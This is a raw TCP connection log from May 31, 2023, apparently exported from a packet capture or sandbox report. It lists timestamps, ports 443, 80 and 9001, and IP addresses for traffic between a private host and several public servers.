May 31, 2023 12:22:22.039887905 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.039894104 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.039937973 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.039962053 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.039985895 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040031910 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.040041924 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040072918 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.040074110 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040110111 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040122986 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.040129900 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040182114 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.040186882 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040218115 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040257931 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.040285110 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040308952 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.040327072 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040365934 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040389061 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.040401936 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040419102 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040421009 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.040443897 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040462017 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.040493965 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.040499926 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040523052 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.040524006 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040550947 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.040556908 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040615082 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.040616035 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040631056 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040661097 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040680885 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.040735960 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.040744066 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040760994 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040791035 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040827990 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.040836096 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040855885 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040867090 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.040889025 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040889978 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.040904999 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.040937901 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.040986061 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.040994883 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041008949 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041030884 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041059017 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.041094065 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.041099072 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041117907 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041141987 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.041155100 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041172028 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041188002 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.041239977 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.041248083 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041261911 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041284084 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041312933 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.041318893 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041347980 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.041371107 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041374922 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.041383982 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041402102 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041415930 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.041460037 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.041465998 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041498899 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041507959 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.041512966 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041538954 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041580915 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.041588068 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041600943 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041615009 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.041627884 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041682005 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.041688919 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041722059 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041744947 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041749954 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.041760921 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041822910 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.041847944 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041872025 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041922092 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.041928053 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041960955 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.041960955 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.041991949 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.041992903 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.042006969 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.042051077 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.042069912 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.042094946 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.042103052 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.042110920 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.042159081 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.042195082 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.042205095 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.042212963 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.042268038 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.042277098 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.042289972 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.042323112 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.042351007 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.042356968 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.042383909 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.042392015 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.042435884 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.042442083 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.042468071 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.042829037 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.042828083 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.042887926 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.053371906 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.076443911 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.076508999 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.076533079 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.076548100 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:41.368345022 CEST	49718	443	192.168.2.6	171.25.193.20
May 31, 2023 12:22:41.368398905 CEST	443	49718	171.25.193.20	192.168.2.6
May 31, 2023 12:22:41.368508101 CEST	49718	443	192.168.2.6	171.25.193.20
May 31, 2023 12:22:41.391124010 CEST	49718	443	192.168.2.6	171.25.193.20
May 31, 2023 12:22:41.391161919 CEST	443	49718	171.25.193.20	192.168.2.6
May 31, 2023 12:22:41.552871943 CEST	443	49718	171.25.193.20	192.168.2.6
May 31, 2023 12:22:41.553078890 CEST	49718	443	192.168.2.6	171.25.193.20
May 31, 2023 12:22:41.561649084 CEST	49718	443	192.168.2.6	171.25.193.20
May 31, 2023 12:22:41.561688900 CEST	443	49718	171.25.193.20	192.168.2.6
May 31, 2023 12:22:41.562233925 CEST	443	49718	171.25.193.20	192.168.2.6
May 31, 2023 12:22:41.562839985 CEST	49718	443	192.168.2.6	171.25.193.20
May 31, 2023 12:22:41.604290962 CEST	443	49718	171.25.193.20	192.168.2.6
May 31, 2023 12:22:42.796566963 CEST	49719	443	192.168.2.6	86.59.119.88
May 31, 2023 12:22:42.796638966 CEST	443	49719	86.59.119.88	192.168.2.6
May 31, 2023 12:22:42.796751976 CEST	49719	443	192.168.2.6	86.59.119.88
May 31, 2023 12:22:42.797224045 CEST	49719	443	192.168.2.6	86.59.119.88
May 31, 2023 12:22:42.797250986 CEST	443	49719	86.59.119.88	192.168.2.6
May 31, 2023 12:22:42.909044027 CEST	443	49719	86.59.119.88	192.168.2.6
May 31, 2023 12:22:42.909216881 CEST	49719	443	192.168.2.6	86.59.119.88
May 31, 2023 12:22:42.917603016 CEST	49719	443	192.168.2.6	86.59.119.88
May 31, 2023 12:22:42.917639971 CEST	443	49719	86.59.119.88	192.168.2.6
May 31, 2023 12:22:42.918212891 CEST	443	49719	86.59.119.88	192.168.2.6
May 31, 2023 12:22:42.918741941 CEST	49719	443	192.168.2.6	86.59.119.88
May 31, 2023 12:22:42.960300922 CEST	443	49719	86.59.119.88	192.168.2.6
May 31, 2023 12:22:44.814703941 CEST	49720	443	192.168.2.6	185.100.84.82
May 31, 2023 12:22:44.814780951 CEST	443	49720	185.100.84.82	192.168.2.6
May 31, 2023 12:22:44.814879894 CEST	49720	443	192.168.2.6	185.100.84.82
May 31, 2023 12:22:44.819926023 CEST	49720	443	192.168.2.6	185.100.84.82
May 31, 2023 12:22:44.819979906 CEST	443	49720	185.100.84.82	192.168.2.6
May 31, 2023 12:22:45.655262947 CEST	443	49720	185.100.84.82	192.168.2.6
May 31, 2023 12:22:45.657505035 CEST	49721	9001	192.168.2.6	193.70.43.76
May 31, 2023 12:22:48.671344042 CEST	49721	9001	192.168.2.6	193.70.43.76
May 31, 2023 12:22:54.685233116 CEST	49721	9001	192.168.2.6	193.70.43.76
May 31, 2023 12:23:06.691072941 CEST	49722	443	192.168.2.6	77.247.181.162
May 31, 2023 12:23:06.691154957 CEST	443	49722	77.247.181.162	192.168.2.6
May 31, 2023 12:23:06.691276073 CEST	49722	443	192.168.2.6	77.247.181.162
May 31, 2023 12:23:06.691901922 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:06.692400932 CEST	49722	443	192.168.2.6	77.247.181.162
May 31, 2023 12:23:06.692437887 CEST	443	49722	77.247.181.162	192.168.2.6
May 31, 2023 12:23:06.734762907 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:06.734950066 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:06.735544920 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:06.779666901 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:06.786351919 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:06.829289913 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:06.830183983 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:06.873096943 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:06.873145103 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:06.873251915 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:06.891057968 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:06.935148001 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:06.936033010 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:06.980015993 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:06.980052948 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:06.980072975 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:06.980091095 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:06.980110884 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:06.980129957 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:06.980151892 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:06.980170965 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:06.980190992 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:06.980187893 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:06.980212927 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:06.980235100 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:06.980282068 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:06.980319023 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:06.981653929 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:06.981653929 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.024223089 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.024251938 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.024302959 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.024301052 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.024328947 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.024350882 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.024367094 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.024374008 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.024394989 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.024403095 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.024418116 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.024440050 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.024450064 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.024461985 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.024482965 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.024487972 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.024506092 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.024524927 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.024545908 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.024548054 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.024568081 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.024581909 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.024589062 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.024610043 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.024612904 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.024631023 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.024679899 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.025686026 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.067281961 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067315102 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067334890 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067356110 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067372084 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067394018 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067414999 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067415953 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.067439079 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067461014 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067471981 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.067483902 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067498922 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.067506075 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067517996 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.067529917 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067548037 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.067550898 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067572117 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067576885 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.067595005 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067605019 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.067617893 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067630053 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.067650080 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.067660093 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067677975 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067698002 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067719936 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067734003 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.067740917 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067761898 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067771912 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.067781925 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067800045 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.067800999 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067821980 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.067822933 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067843914 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067852974 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.067863941 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067873001 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.067884922 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067903996 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067910910 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.067926884 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067930937 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.067946911 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067961931 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.067969084 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067989111 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.067998886 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.068032026 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.068146944 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.068167925 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.068197966 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.068916082 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.110694885 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.110754013 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.110785007 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.110811949 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.110842943 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.110872030 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.110902071 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.110901117 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.110933065 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.110939980 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.110940933 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.110965967 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.110980988 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.110996962 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111010075 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111027002 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111038923 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111058950 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111068964 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111089945 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111099005 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111123085 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111140966 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111151934 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111181021 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111185074 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111208916 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111211061 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111227989 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111241102 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111258984 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111273050 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111285925 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111303091 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111314058 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111334085 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111346006 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111363888 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111376047 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111394882 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111423969 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111438036 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111449957 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111474991 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111479998 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111504078 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111511946 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111521959 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111542940 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111572027 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111584902 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111599922 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111614943 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111630917 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111649036 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111660957 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111673117 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111728907 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111757040 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111771107 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111789942 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111808062 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111819983 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111829996 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111848116 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111854076 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111874104 CEST	49723	80	192.168.2.6	171.25.193.9
